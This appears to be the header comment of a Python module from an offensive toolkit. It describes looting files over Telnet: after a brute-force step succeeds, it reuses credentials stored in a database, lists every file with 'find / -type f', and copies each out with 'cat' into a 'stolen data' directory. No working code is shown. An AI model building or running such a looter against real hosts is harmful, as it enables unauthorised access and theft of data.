steal_files_telnet.py — Telnet file looter (DB-backed)

SQL mode:
|
|
- Orchestrator provides (ip, port) after parent success (TelnetBruteforce).
|
|
- Credentials read from DB.creds (service='telnet'); we try each pair.
|
|
- Files found via 'find / -type f', then retrieved with 'cat'.

- Output under: {data_stolen_dir}/telnet/{mac}_{ip}/...
